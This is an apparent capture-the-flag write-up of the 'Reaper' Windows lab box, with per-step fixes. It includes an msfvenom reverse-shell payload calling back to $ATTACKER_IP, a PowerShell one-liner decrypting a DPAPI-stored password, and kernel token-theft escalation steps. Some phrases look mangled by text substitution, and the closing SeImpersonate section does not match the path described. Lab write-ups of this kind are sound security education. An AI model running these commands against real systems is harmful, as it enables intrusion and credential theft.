← all walkthroughs

Reaper

Windows· Insane
owned
2026-10-26
time to own
46m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I enumerated an anonymous FTP service to retrieve a custom TCP "key activation" binary and its sample key file, then reverse-engineered the binary to find a format-string information leak and a stack-based buffer overflow. The format string defeated ASLR by leaking a runtime address, and a crafted key payload (base64-encoded overflow in a field the service never length-checked) drove an IAT-only ROP chain that marked the stack executable and ran shellcode, giving a reverse shell as the low-privileged service account REAPER\keysvc.

A DPAPI-protected credential file in that account's profile was decrypted in-session to recover a cleartext password, which was used to open a full RDP session as the same user. From that session, a vulnerable third-party kernel driver (Reaper.sys) exposing unrestricted arbitrary kernel read/write IOCTLs was abused to overwrite the current process's token pointer with the SYSTEM process's token, escalating to NT AUTHORITY\SYSTEM and granting full control of the host.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Some commands also carry a value in angle brackets — <recovered_password>, <valid_base64_tail> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1ReconnaissanceAnonymous FTP access / service enumeration (T1595, T1078.001)
Enumerated open services and found an anonymous FTP server
A port scan of $TARGET found FTP (21), a default IIS site (80), RDP (3389), and a custom unknown service on 4141. The IIS site was a static default page and a dead end. The FTP service accepted anonymous logins and hosted the running service's own binary and a sample key file — effectively leaking the target of the exploit.
Nmap: 21/tcp ftp Microsoft ftpd; 80/tcp http (IIS default); 3389/tcp rdp; 4141/tcp unknown (dev_keysvc.exe).
Exact commands 5
shell

Baseline service scan.

$ nmap -sC -sV -p21,80,3389,4141,7680 $TARGET
shell

Connect to FTP; login as 'anonymous' with any password.

$ ftp $TARGET
shell

CRITICAL: switch to binary transfer mode before downloading the EXE, or it is corrupted.

$ ftp> binary
shell

Retrieve the server binary for the custom port-4141 service.

$ ftp> get dev_keysvc.exe
shell

Retrieve the sample/reference key file.

$ ftp> get dev_keys.txt
FixDisable anonymous FTP and remove development artifacts from itCritical
WeaknessThe FTP service accepted anonymous logins and hosted the running custom service's binary and a sample key file, handing an unauthorised user the exact target to reverse-engineer with no credentials.
FixDisable anonymous FTP access entirely; require authenticated accounts with least-privilege, FTP-only home directories. Never stage build artifacts, binaries, or sample data files on a service reachable without authentication.
2Vulnerability AnalysisUncontrolled format string information disclosure (CWE-134 / T1592.002)
Reverse-engineered the custom key-activation service and found a format-string leak
Loading dev_keysvc.exe in Ghidra and running it locally (ASLR+NX on, no CFG) showed a 'Set key' / 'Activate key' / 'Exit' menu over TCP port 4141. The key format required specific delimiter positions and a checksum, but the final base64 field was never length-checked. More critically, the 'Activate key' path passed my own key directly into snprintf() as the FORMAT string rather than as data, so a %p placed in the key was expanded and echoed back — leaking a stack/runtime address from which the service's module base could be computed.
Log_key() uses my key as the snprintf format argument; a %p leak in field 1 returned the address of the string "Checking key:" (static offset 0x20660 from module base).
Exact commands 3
shell

Confirm mitigations: ASLR+NX enabled, no CFG.

$ winchecksec dev_keysvc.exe
shell

Connect to the live service to test the menu interactively.

$ nc $TARGET 4141
shell

Build a key whose first field is %p (leak primitive) with a correct checksum in the following fields; send via option 1 then trigger via option 2 (Activate key).

$ python3 -c "print('%pX-FE9A1-500-A270-0194-' + '<valid_base64_tail>')"
FixNever pass externally controlled input as a printf-family format stringHigh
WeaknessThe key-activation service passed the user-supplied key directly as the format argument to snprintf(), letting an unauthorised user embed %p/%s-style specifiers to leak process memory addresses and defeat ASLR.
FixAlways use a fixed format string and pass an unauthorised user data only as an argument, e.g. snprintf(buf, len, "%s", userInput) rather than snprintf(buf, len, userInput). Compile with warnings treated as errors (-Wformat-security) to catch this class of bug at build time.
3ExploitationStack-based buffer overflow + ROP chain execution (CWE-121 / T1055 / T1203)
Overflowed the stack via the key's base64 field and hijacked execution
The service base64-decoded the key's sixth field with no size limit before copying it into a fixed stack buffer during 'Activate key', allowing a classic stack-based buffer overflow once the correct offset (88 bytes into the decoded buffer) was found. Because only functions already present in the binary's import table could be called (no ntdll leak was available), I built an IAT-only ROP chain that called VirtualAlloc (standing in for VirtualProtect, which was not imported) to mark a stack region as RWX, then pivoted execution into shellcode staged on the stack. A plain msfvenom reverse shell payload (no evasion needed) executed, calling back as REAPER\keysvc.
RIP overwrite offset = 88 bytes; VirtualAlloc IAT entry used to mark memory RWX; shell callback confirmed reaper\keysvc via whoami.
Exact commands 3
shell

Generate raw reverse-shell shellcode (no encoder needed; Defender is not an obstacle on this host).

$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=9001 -f python
shell

Start the listener to catch the callback.

$ nc -lvnp 9001
shell

Pwntools driver: leak module base via the %p format string, compute checksum, base64-encode the ROP+shellcode payload into field 6 of a valid key, send via option 1, trigger via option 2.

$ python3 exploit.py $TARGET 4141
FixBounds-check all key fields before copying and enable stack-overflow mitigationsCritical
WeaknessThe service's key parser enforced length/format rules on most fields but never bounded the decoded size of the final base64 field, letting an unauthorised user overflow a fixed stack buffer and hijack control flow.
FixValidate the decoded length of every input field against the destination buffer size before copying (reject or truncate oversized input). Rebuild the binary with /GS (stack cookies) and Control Flow Guard (/guard:cf) enabled, and avoid fixed-size stack buffers for variable-length an unauthorised user data — use bounded copy functions (strncpy_s / memcpy with an explicit, checked length).
4FootholdShell access validation (T1082)
Confirmed the foothold and captured the user flag
The reverse shell connection landed as the low-privileged local service account REAPER\keysvc. Whoami was run first to prove the access level, then the user flag was read from the account's desktop and submitted.
Whoami -> reaper\keysvc; type C:\Users\keysvc\Desktop\user.txt returned the flag.
Exact commands 3
shell

Confirm the shell's identity before touching anything else.

$ whoami
reaper\keysvc
shell

Confirm build: Microsoft Windows [Version 10.0.19045.6216].

$ ver
shell

Read the user flag; result is <user.txt>.

$ type C:\Users\keysvc\Desktop\user.txt
5Credential AccessDPAPI secret recovery from a stored credential blob (T1555.004)
Decrypted a DPAPI-protected credential file left in the user's profile
A file named automation.txt in keysvc's home directory held a Windows DPAPI-protected SecureString export (ConvertFrom-SecureString). Because DPAPI secrets are tied to the user context that encrypted them, running the decryption from inside the same keysvc shell session recovered the cleartext password with no additional attack needed.
automation.txt decrypted in-session to a cleartext password for the keysvc account.
Exact commands 1
shell

Must run as the same user/session context that created the SecureString export; prints the cleartext password.

$ powershell -NoProfile -Command "$b=Get-Content C:\Users\keysvc\automation.txt | ConvertTo-SecureString; $p=[Runtime.InteropServices.Marshal]::SecureStringToBSTR($b); [Runtime.InteropServices.Marshal]::PtrToStringBSTR($p)"
FixStop storing service-account credentials as DPAPI-protected files on diskHigh
WeaknessA plaintext-recoverable credential (a DPAPI SecureString export) was left in the keysvc profile, letting anyone who obtains code execution in that user's context trivially decrypt it back to a cleartext password.
FixRemove automation.txt and any similar DPAPI-exported secrets; store service credentials in a managed secrets vault (e.g. Windows gMSA, Credential Manager with proper ACLs, or an enterprise secrets manager) that isn't recoverable by code running as the account itself, and rotate the exposed password immediately.
6Lateral MovementRemote Desktop Protocol logon with stolen credentials (T1021.001)
Opened an interactive RDP session with the recovered credentials
The recovered cleartext password for keysvc was valid over RDP, giving me a stable graphical session on the box as the same user — a platform from which to stage and run the kernel exploit binary.
Xfreerdp session established as keysvc to $TARGET.
Exact commands 1
shell

Replace <recovered_password> with the DPAPI-decrypted credential.

$ xfreerdp /u:keysvc /p:<recovered_password> /v:$TARGET +clipboard
7Privilege EscalationVulnerable kernel driver — arbitrary kernel read/write via unchecked IOCTL (CWE-269 / T1068)
Found an unrestricted kernel driver exposing arbitrary read/write IOCTLs
A kernel driver at C:\driver\reaper.sys was loaded and running (Reaper project). It exposed a device object (\\.\Reaper) accepting IOCTLs gated only by a hardcoded magic value, with no caller-privilege or handle checks: an ALLOCATE IOCTL, a COPY IOCTL that copied 8 bytes between two my own addresses (an arbitrary kernel memory read/write primitive), and a FREE IOCTL. Any authenticated user on the box could reach and abuse this driver.
Driverquery /v confirms reaper.sys loaded (Kernel, Running, Auto); device strings \\Device\\Reaper / \\??\\Reaper; IOCTLs 0x80002003/0x8000200B/0x80002007 gated by magic 0x6A55CC9E.
Exact commands 2
shell

Confirm the vulnerable driver is loaded and running.

$ driverquery /v | findstr reaper.sys
shell

Pull the driver image off the host for offline reversing in Ghidra/WinDbg.

$ copy \\attacker-share\reaper.sys .
FixRemove or patch the vulnerable Reaper kernel driverCritical
WeaknessA loaded third-party kernel driver (reaper.sys) exposed IOCTLs that any local user could call to perform arbitrary kernel memory read and write, enabling a trivial token-theft escalation to SYSTEM.
FixUninstall the driver if it is not a required business dependency. If it must remain, patch it to validate the calling process's privilege level, restrict device object access via a tight security descriptor (not world-accessible), and remove the raw arbitrary-address copy primitive in favor of bounds-checked, purpose-specific operations. Add the driver's hash to a blocklist (Microsoft's vulnerable driver blocklist / WDAC) if no fix is available upstream.
8Privilege EscalationToken theft / impersonation via kernel exploit (T1134.001, SeImpersonate pattern)
Stole the SYSTEM access token to escalate from keysvc to NT AUTHORITY\SYSTEM
Using the driver's arbitrary read/write primitive, I queried NtQuerySystemInformation(SystemHandleInformation) to leak a handle pointing at the SYSTEM process's kernel object, then walked the process's ActiveProcessLinks list to locate the current process's own _EPROCESS structure. The driver's write primitive was then used to overwrite the current process's token pointer (at a fixed _EPROCESS offset) with the SYSTEM process's token pointer — a classic token-stealing technique. The resulting process ran as NT AUTHORITY\SYSTEM, and a spawned cmd.exe inherited that token, giving full control of the host.
reaper_priv_flag.c performs SYSTEM EPROCESS lookup, current-process token lookup, and a write64() to the EPROCESS token offset; root.txt read under C:\Users\Administrator\Desktop\ confirmed root ownership.
Exact commands 5
shell

Cross-compile the token-stealing kernel exploit as a native Windows x64 PE.

$ x86_64-w64-mingw32-gcc -o exploit.exe reaper_priv_flag.c -lpsapi
shell

Transfer the compiled exploit onto the target over the RDP session / SMB.

$ copy exploit.exe \\$TARGET\C$\Users\keysvc\Desktop\
shell

Run from the RDP session; opens \\.\Reaper, performs the token swap, and spawns a SYSTEM shell.

$ exploit.exe
shell

Confirm SYSTEM before reading the final flag.

$ whoami
shell

Read the root flag; result is <root.txt>.

$ type C:\Users\Administrator\Desktop\root.txt

Attack patterns used

The transferable techniques behind this compromise.

SeImpersonate Abuse (Token Impersonation)Windows · Privilege EscalationT1134.001

What it is

Service accounts (IIS, MSSQL, etc.) often hold SeImpersonatePrivilege. Coerce a SYSTEM process into authenticating to an endpoint you control — a COM service, an RPC interface, a named pipe — then impersonate the SYSTEM token it presents, escalating from the service account to NT AUTHORITY\SYSTEM. Churrasco (Token Kidnapping) does this against RPCSS and MSDTC on Server 2003; the 'Potato' family (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, JuicyPotatoNG) are the modern tools for the same privilege on later Windows.

Why it works

Holding SeImpersonate is normal for service accounts, but Windows' token-impersonation model lets it be turned into full SYSTEM via local authentication coercion. Remediate by removing the privilege where unneeded and keeping hosts patched against the specific coercion vectors.

Read more

Exposed services

21/tcp
80/tcp
3389/tcp
4141/tcp
7680/tcp